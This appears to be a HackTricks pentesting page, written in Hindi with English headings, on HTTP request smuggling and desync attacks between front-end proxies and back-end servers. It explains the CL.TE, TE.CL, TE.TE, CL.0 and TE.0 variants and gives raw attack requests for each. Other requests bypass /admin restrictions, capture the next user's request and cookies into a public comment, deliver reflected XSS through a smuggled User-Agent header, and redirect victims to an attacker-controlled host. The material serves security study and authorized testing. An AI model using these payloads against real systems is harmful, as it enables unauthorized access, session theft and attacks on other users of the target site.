# HTTP Request Smuggling / HTTP Desync Attack

{{#include ../../banners/hacktricks-training.md}}

## What is

यह सुरक्षा कमी तब होती है जब **फ्रंट-एंड प्रॉक्सी** और **बैक-एंड** सर्वर के बीच **डिसिंक्रोनाइजेशन** एक **हमलावर** को एक HTTP **अनुरोध** **भेजने** की अनुमति देता है जिसे **फ्रंट-एंड** प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा **एकल अनुरोध** के रूप में और **बैक-एंड** सर्वर द्वारा **2 अनुरोध** के रूप में **व्याख्यायित** किया जाएगा।\
यह एक उपयोगकर्ता को **उसके बाद बैक-एंड सर्वर पर आने वाले अगले अनुरोध को संशोधित** करने की अनुमति देता है।

### Theory

[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)

> यदि एक संदेश को दोनों Transfer-Encoding हेडर फ़ील्ड और Content-Length हेडर फ़ील्ड के साथ प्राप्त किया जाता है, तो बाद वाले को अनदेखा किया जाना चाहिए।

**Content-Length**

> Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को बाइट्स में इंगित करता है, जो प्राप्तकर्ता को भेजा गया है।

**Transfer-Encoding: chunked**

> Transfer-Encoding हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग सुरक्षित रूप से पेलोड शरीर को उपयोगकर्ता तक पहुँचाने के लिए किया जाता है।\
> Chunked का अर्थ है कि बड़े डेटा को कई टुकड़ों में भेजा जाता है।

### Reality

**फ्रंट-एंड** (एक लोड-बैलेंस / रिवर्स प्रॉक्सी) _**content-length**_ या _**transfer-encoding**_ हेडर को **प्रोसेस** करता है और **बैक-एंड** सर्वर **दूसरे** को प्रोसेस करता है जिससे 2 सिस्टमों के बीच **डिसिंक्रोनाइजेशन** होता है।\
यह बहुत महत्वपूर्ण हो सकता है क्योंकि **एक हमलावर एक अनुरोध भेजने में सक्षम होगा** जिसे रिवर्स प्रॉक्सी द्वारा **2 अलग-अलग अनुरोधों** के रूप में **व्याख्यायित** किया जाएगा। इस तकनीक का **खतरा** इस तथ्य में निहित है कि **बैक-एंड** सर्वर **2nd अनुरोध को इंजेक्टेड** के रूप में **व्याख्यायित** करेगा जैसे कि यह **अगले क्लाइंट** से आया हो और उस क्लाइंट का **वास्तविक अनुरोध** **इंजेक्टेड अनुरोध** का **भाग** होगा।

### Particularities

याद रखें कि HTTP में **एक नई पंक्ति का वर्ण 2 बाइट्स से बना होता है:**

- **Content-Length**: यह हेडर **बॉडी** के **बाइट्स** की **संख्या** को इंगित करने के लिए **दशमलव संख्या** का उपयोग करता है। बॉडी को अंतिम वर्ण में समाप्त होने की उम्मीद होती है, **अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं होती**।
- **Transfer-Encoding:** यह हेडर **बॉडी** में **हेक्साडेसिमल संख्या** का उपयोग करता है ताकि **अगले टुकड़े** के **बाइट्स** की **संख्या** को इंगित किया जा सके। **टुकड़ा** को **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन यह नई पंक्ति **लंबाई संकेतक** द्वारा **गिनी नहीं जाती**। इस ट्रांसफर विधि को **0 के आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों**: `0`
- **Connection**: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर **`Connection: keep-alive`** का उपयोग करने की सिफारिश की जाती है।

## Basic Examples

> [!TIP]
> जब Burp Suite के साथ इसका शोषण करने की कोशिश कर रहे हों तो **`Update Content-Length` और `Normalize HTTP/1 line endings`** को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत सामग्री-लंबाई का दुरुपयोग करते हैं।

HTTP अनुरोध स्मगलिंग हमलों को अस्पष्ट अनुरोध भेजकर तैयार किया जाता है जो फ्रंट-एंड और बैक-एंड सर्वरों के बीच `Content-Length` (CL) और `Transfer-Encoding` (TE) हेडरों की व्याख्या में असमानताओं का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अद्वितीय संयोजन दर्शाता है। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।

### Basic Examples of Vulnerability Types

![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

> [!NOTE]
> पिछले तालिका में आपको TE.0 तकनीक जोड़नी चाहिए, जैसे CL.0 तकनीक लेकिन Transfer Encoding का उपयोग करते हुए।

#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

- **फ्रंट-एंड (CL):** `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
- **बैक-एंड (TE):** `Transfer-Encoding` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
- **हमला परिदृश्य:**

- हमलावर एक अनुरोध भेजता है जहाँ `Content-Length` हेडर का मान वास्तविक सामग्री की लंबाई से मेल नहीं खाता।
- फ्रंट-एंड सर्वर `Content-Length` मान के आधार पर पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
- बैक-एंड सर्वर `Transfer-Encoding: chunked` हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, बाद के अनुरोध के रूप में व्याख्यायित करता है।
- **उदाहरण:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

- **फ्रंट-एंड (TE):** `Transfer-Encoding` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
- **बैक-एंड (CL):** `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
- **हमला परिदृश्य:**

- हमलावर एक टुकड़ा अनुरोध भेजता है जहाँ टुकड़े का आकार (`7b`) और वास्तविक सामग्री की लंबाई (`Content-Length: 4`) मेल नहीं खाती।
- फ्रंट-एंड सर्वर, `Transfer-Encoding` का सम्मान करते हुए, पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
- बैक-एंड सर्वर, `Content-Length` का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (`7b` बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित बाद के अनुरोध के भाग के रूप में छोड़ देता है।
- **उदाहरण:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```

#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

- **सर्वर:** दोनों `Transfer-Encoding` का समर्थन करते हैं, लेकिन एक को धोखे के माध्यम से अनदेखा करने के लिए धोखा दिया जा सकता है।
- **हमला परिदृश्य:**

- हमलावर एक अनुरोध भेजता है जिसमें धोखे के `Transfer-Encoding` हेडर होते हैं।
- जिस सर्वर (फ्रंट-एंड या बैक-एंड) को धोखे को पहचानने में विफलता होती है, उस पर CL.TE या TE.CL कमजोरी का लाभ उठाया जा सकता है।
- अनुरोध का अनप्रोसेस्ड भाग, जैसा कि एक सर्वर द्वारा देखा जाता है, एक बाद के अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।
- **उदाहरण:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- दोनों सर्वर केवल `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करते हैं।
- यह परिदृश्य आमतौर पर स्मगलिंग की ओर नहीं ले जाता है, क्योंकि दोनों सर्वरों के बीच अनुरोध की लंबाई की व्याख्या में संरेखण होता है।
- **उदाहरण:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request
```

#### **CL.0 Scenario**

- उन परिदृश्यों को संदर्भित करता है जहाँ `Content-Length` हेडर मौजूद है और इसका मान शून्य के अलावा है, यह इंगित करता है कि अनुरोध शरीर में सामग्री है। बैक-एंड `Content-Length` हेडर को अनदेखा करता है (जिसे 0 के रूप में माना जाता है), लेकिन फ्रंट-एंड इसे पार्स करता है।
- यह समझने और स्मगलिंग हमलों को तैयार करने में महत्वपूर्ण है, क्योंकि यह प्रभावित करता है कि सर्वर अनुरोध के अंत को कैसे निर्धारित करते हैं।
- **उदाहरण:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body
```

#### TE.0 Scenario

- पिछले वाले की तरह लेकिन TE का उपयोग करते हुए।
- तकनीक [यहाँ रिपोर्ट की गई](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **उदाहरण**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### वेब सर्वर को तोड़ना

यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ **प्रारंभिक HTTP डेटा पढ़ते समय एक वेब सर्वर को तोड़ना संभव है** लेकिन **कनेक्शन को बंद किए बिना**। इस तरह, HTTP अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।

उदाहरण के लिए, जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** वर्ण भेजना संभव था और इससे सर्वर **टूट** जाएगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।

#### हॉप-बाय-हॉप हेडर्स के माध्यम से मजबूर करना

हॉप-बाय-हॉप हेडर्स का दुरुपयोग करते हुए आप प्रॉक्सी को **हेडर Content-Length या Transfer-Encoding को हटाने के लिए संकेत दे सकते हैं ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके**।
```
Connection: Content-Length
```
For **more information about hop-by-hop headers** visit:

{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}

## Finding HTTP Request Smuggling

HTTP अनुरोध स्मगलिंग कमजोरियों की पहचान अक्सर समय तकनीकों का उपयोग करके की जा सकती है, जो यह देखने पर निर्भर करती हैं कि सर्वर को हेरफेर किए गए अनुरोधों का जवाब देने में कितना समय लगता है। ये तकनीकें CL.TE और TE.CL कमजोरियों का पता लगाने के लिए विशेष रूप से उपयोगी हैं। इन तरीकों के अलावा, ऐसी कमजोरियों को खोजने के लिए अन्य रणनीतियाँ और उपकरण भी हैं:

### Finding CL.TE Vulnerabilities Using Timing Techniques

- **Method:**

- एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।
- **Example:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```

- **Observation:**
- फ्रंट-एंड सर्वर `Content-Length` के आधार पर अनुरोध को संसाधित करता है और संदेश को समय से पहले काट देता है।
- बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा कर रहा है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।

- **Indicators:**
- प्रतिक्रिया में टाइमआउट या लंबी देरी।
- बैक-एंड सर्वर से 400 Bad Request त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर जानकारी के साथ।

### Finding TE.CL Vulnerabilities Using Timing Techniques

- **Method:**

- एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।
- **Example:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```

- **Observation:**
- फ्रंट-एंड सर्वर `Transfer-Encoding` के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को अग्रेषित करता है।
- बैक-एंड सर्वर, जो `Content-Length` के आधार पर एक संदेश की अपेक्षा कर रहा है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।

### Other Methods to Find Vulnerabilities

- **Differential Response Analysis:**
- अनुरोध के थोड़े भिन्न संस्करण भेजें और देखें कि क्या सर्वर प्रतिक्रियाएँ अप्रत्याशित तरीके से भिन्न होती हैं, जो एक पार्सिंग विसंगति को इंगित करती हैं।
- **Using Automated Tools:**
- Burp Suite के 'HTTP Request Smuggler' एक्सटेंशन जैसे उपकरण स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं, विभिन्न प्रकार के अस्पष्ट अनुरोध भेजकर और प्रतिक्रियाओं का विश्लेषण करके।
- **Content-Length Variance Tests:**
- ऐसे अनुरोध भेजें जिनमें भिन्न `Content-Length` मान हों जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
- **Transfer-Encoding Variance Tests:**
- अस्पष्ट या गलत `Transfer-Encoding` हेडर वाले अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेरों पर कैसे प्रतिक्रिया करते हैं।

### HTTP Request Smuggling Vulnerability Testing

समय तकनीकों की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि क्या क्लाइंट अनुरोधों को हेरफेर किया जा सकता है। एक सीधा तरीका यह है कि आप अपने अनुरोधों को विषाक्त बनाने का प्रयास करें, उदाहरण के लिए, `/` पर एक अनुरोध करना जिससे 404 प्रतिक्रिया प्राप्त हो। पहले चर्चा किए गए `CL.TE` और `TE.CL` उदाहरण [Basic Examples](./#basic-examples) में दिखाते हैं कि कैसे एक क्लाइंट के अनुरोध को विषाक्त करके 404 प्रतिक्रिया प्राप्त की जा सकती है, भले ही क्लाइंट एक अलग संसाधन तक पहुँचने का प्रयास कर रहा हो।

**Key Considerations**

जब अन्य अनुरोधों में हस्तक्षेप करके अनुरोध स्मगलिंग कमजोरियों का परीक्षण करें, तो ध्यान में रखें:

- **Distinct Network Connections:** "हमला" और "सामान्य" अनुरोधों को अलग-अलग नेटवर्क कनेक्शनों के माध्यम से भेजा जाना चाहिए। दोनों के लिए एक ही कनेक्शन का उपयोग करना कमजोरियों की उपस्थिति को मान्य नहीं करता है।
- **Consistent URL and Parameters:** दोनों अनुरोधों के लिए समान URLs और पैरामीटर नामों का उपयोग करने का प्रयास करें। आधुनिक एप्लिकेशन अक्सर URL और पैरामीटर के आधार पर अनुरोधों को विशिष्ट बैक-एंड सर्वरों पर रूट करते हैं। इन्हें मेल करने से यह संभावना बढ़ती है कि दोनों अनुरोधों को एक ही सर्वर द्वारा संसाधित किया जाएगा, जो सफल हमले के लिए एक पूर्वापेक्षा है।
- **Timing and Racing Conditions:** "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "हमला" अनुरोध के तुरंत बाद "सामान्य" अनुरोध भेजें। व्यस्त एप्लिकेशन में कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
- **Load Balancing Challenges:** फ्रंट-एंड सर्वर जो लोड बैलेंसर के रूप में कार्य करते हैं, अनुरोधों को विभिन्न बैक-एंड सिस्टमों में वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध विभिन्न सिस्टमों पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड बैलेंसिंग पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता कर सकता है।
- **Unintended User Impact:** यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपका हमला किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित करता है। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।

## Abusing HTTP Request Smuggling

### Circumventing Front-End Security via HTTP Request Smuggling

कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपाय लागू करते हैं, आने वाले अनुरोधों की जांच करते हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच प्राप्त होती है। उदाहरण के लिए, `/admin` तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र छोड़ दिया जाता है।

HTTP Request Smuggling का उपयोग करके फ्रंट-एंड सुरक्षा नियंत्रणों को दरकिनार करने के तरीके को दर्शाने वाले निम्नलिखित उदाहरणों पर विचार करें, विशेष रूप से `/admin` पथ को लक्षित करते हुए जो आमतौर पर फ्रंट-एंड प्रॉक्सी द्वारा संरक्षित होता है:

**CL.TE Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```
CL.TE हमले में, प्रारंभिक अनुरोध के लिए `Content-Length` हेडर का उपयोग किया जाता है, जबकि बाद में एम्बेडेड अनुरोध `Transfer-Encoding: chunked` हेडर का उपयोग करता है। फ्रंट-एंड प्रॉक्सी प्रारंभिक `POST` अनुरोध को संसाधित करती है लेकिन एम्बेडेड `GET /admin` अनुरोध की जांच करने में विफल रहती है, जिससे `/admin` पथ तक अनधिकृत पहुंच की अनुमति मिलती है।

**TE.CL उदाहरण**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```
इसके विपरीत, TE.CL हमले में, प्रारंभिक `POST` अनुरोध `Transfer-Encoding: chunked` का उपयोग करता है, और इसके बाद का अंतर्निहित अनुरोध `Content-Length` हेडर के आधार पर संसाधित किया जाता है। CL.TE हमले के समान, फ्रंट-एंड प्रॉक्सी स्मगल्ड `GET /admin` अनुरोध को नजरअंदाज कर देती है, अनजाने में प्रतिबंधित `/admin` पथ तक पहुंच प्रदान करती है।

### फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

ऐप्लिकेशन अक्सर एक **फ्रंट-एंड सर्वर** का उपयोग करते हैं ताकि आने वाले अनुरोधों को संशोधित किया जा सके इससे पहले कि उन्हें बैक-एंड सर्वर को भेजा जाए। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे `X-Forwarded-For: <IP of the client>`, ताकि क्लाइंट का IP बैक-एंड को भेजा जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह **सुरक्षाओं को बायपास करने** या **छिपी हुई जानकारी या एंडपॉइंट्स को उजागर करने** के तरीके प्रकट कर सकता है।

यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में दर्शाता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम में रखते हुए, निम्नलिखित के समान:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```
इस संरचना में, बाद के अनुरोध घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर है। यह परावर्तन बाद के अनुरोध के हेडर को उजागर करेगा।

यह महत्वपूर्ण है कि नेस्टेड अनुरोध के `Content-Length` हेडर को वास्तविक सामग्री की लंबाई के साथ संरेखित किया जाए। एक छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहकार है, क्योंकि बहुत कम मान परावर्तित डेटा को काट देगा, जबकि बहुत उच्च मान अनुरोध को त्रुटि में डाल सकता है।

यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन के वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।

यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, मूल रूप से एक आत्म-निर्देशित जांच करते हुए।

### अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

यह अगले उपयोगकर्ता के अनुरोधों को कैप्चर करना संभव है, एक POST ऑपरेशन के दौरान एक पैरामीटर के मान के रूप में एक विशिष्ट अनुरोध को जोड़कर। इसे इस प्रकार किया जा सकता है:

निम्नलिखित अनुरोध को एक पैरामीटर के मान के रूप में जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
इस परिदृश्य में, **comment parameter** का उद्देश्य एक सार्वजनिक रूप से सुलभ पृष्ठ पर एक पोस्ट की टिप्पणी अनुभाग के भीतर सामग्री को संग्रहीत करना है। परिणामस्वरूप, अगले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।

हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया जाता है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर `&` वर्ण है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकती है।

इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण TE.CL भेद्यता के साथ भी व्यवहार्य है। ऐसे मामलों में, अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।

### HTTP अनुरोध स्मगलिंग का उपयोग करके परावर्तित XSS का शोषण करना

HTTP Request Smuggling का उपयोग उन वेब पृष्ठों का शोषण करने के लिए किया जा सकता है जो **Reflected XSS** के प्रति संवेदनशील हैं, जो महत्वपूर्ण लाभ प्रदान करता है:

- लक्षित उपयोगकर्ताओं के साथ **संवाद की आवश्यकता नहीं है**।
- अनुरोध के उन हिस्सों में XSS का शोषण करने की अनुमति देता है जो **सामान्यतः अप्राप्य** होते हैं, जैसे HTTP अनुरोध हेडर।

उन परिदृश्यों में जहां एक वेबसाइट User-Agent हेडर के माध्यम से Reflected XSS के प्रति संवेदनशील है, निम्नलिखित पेलोड इस भेद्यता का शोषण करने का तरीका प्रदर्शित करता है:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```
यह पेलोड इस कमजोरियों का लाभ उठाने के लिए संरचित है:

1. एक `POST` अनुरोध शुरू करना, जो सामान्य प्रतीत होता है, जिसमें `Transfer-Encoding: chunked` हेडर होता है जो स्मगलिंग की शुरुआत को इंगित करता है।
2. इसके बाद एक `0` आता है, जो चंक किए गए संदेश के शरीर के अंत को चिह्नित करता है।
3. फिर, एक स्मगल किया गया `GET` अनुरोध पेश किया जाता है, जहां `User-Agent` हेडर में एक स्क्रिप्ट, `<script>alert(1)</script>`, इंजेक्ट की जाती है, जो सर्वर द्वारा इस बाद के अनुरोध को संसाधित करते समय XSS को ट्रिगर करती है।

`User-Agent` को स्मगलिंग के माध्यम से हेरफेर करके, पेलोड सामान्य अनुरोध सीमाओं को बायपास करता है, इस प्रकार एक गैर-मानक लेकिन प्रभावी तरीके से Reflected XSS कमजोरियों का लाभ उठाता है।

#### HTTP/0.9

> [!CAUTION]
> यदि उपयोगकर्ता की सामग्री एक **`Content-type`** के साथ प्रतिक्रिया में परिलक्षित होती है जैसे कि **`text/plain`**, तो XSS के निष्पादन को रोकता है। यदि सर्वर **HTTP/0.9 का समर्थन करता है तो इसे बायपास करना संभव हो सकता है**!

संस्करण HTTP/0.9 पहले 1.0 से था और केवल **GET** क्रियाओं का उपयोग करता है और **हेडर** के साथ प्रतिक्रिया नहीं करता, केवल शरीर के साथ।

[**इस लेख**](https://mizu.re/post/twisty-python) में, इसका दुरुपयोग एक अनुरोध स्मगलिंग और एक **कमजोर एंडपॉइंट के साथ किया गया जो उपयोगकर्ता के इनपुट के साथ प्रतिक्रिया देगा** ताकि HTTP/0.9 के साथ एक अनुरोध को स्मगल किया जा सके। प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर एक **नकली HTTP/1.1 प्रतिक्रिया (हेडर और शरीर के साथ)** था ताकि प्रतिक्रिया में `text/html` के `Content-Type` के साथ मान्य निष्पादन योग्य JS कोड शामिल हो सके।

### HTTP अनुरोध स्मगलिंग के साथ ऑन-साइट रीडायरेक्ट्स का लाभ उठाना <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

ऐप्लिकेशन अक्सर `Host` हेडर से होस्टनाम का उपयोग करके एक URL से दूसरे URL पर रीडायरेक्ट करते हैं। यह Apache और IIS जैसे वेब सर्वरों के साथ सामान्य है। उदाहरण के लिए, बिना ट्रेलिंग स्लैश के एक फ़ोल्डर का अनुरोध करने पर रीडायरेक्ट होता है ताकि स्लैश शामिल किया जा सके:
```
GET /home HTTP/1.1
Host: normal-website.com
```
परिणाम:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
हालांकि यह व्यवहार हानिरहित प्रतीत होता है, इसे HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को एक बाहरी साइट पर पुनर्निर्देशित करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
यह स्मगल किया गया अनुरोध अगले संसाधित उपयोगकर्ता अनुरोध को एक हमलावर-नियंत्रित वेबसाइट पर पुनर्निर्देशित कर सकता है:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
परिणाम:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
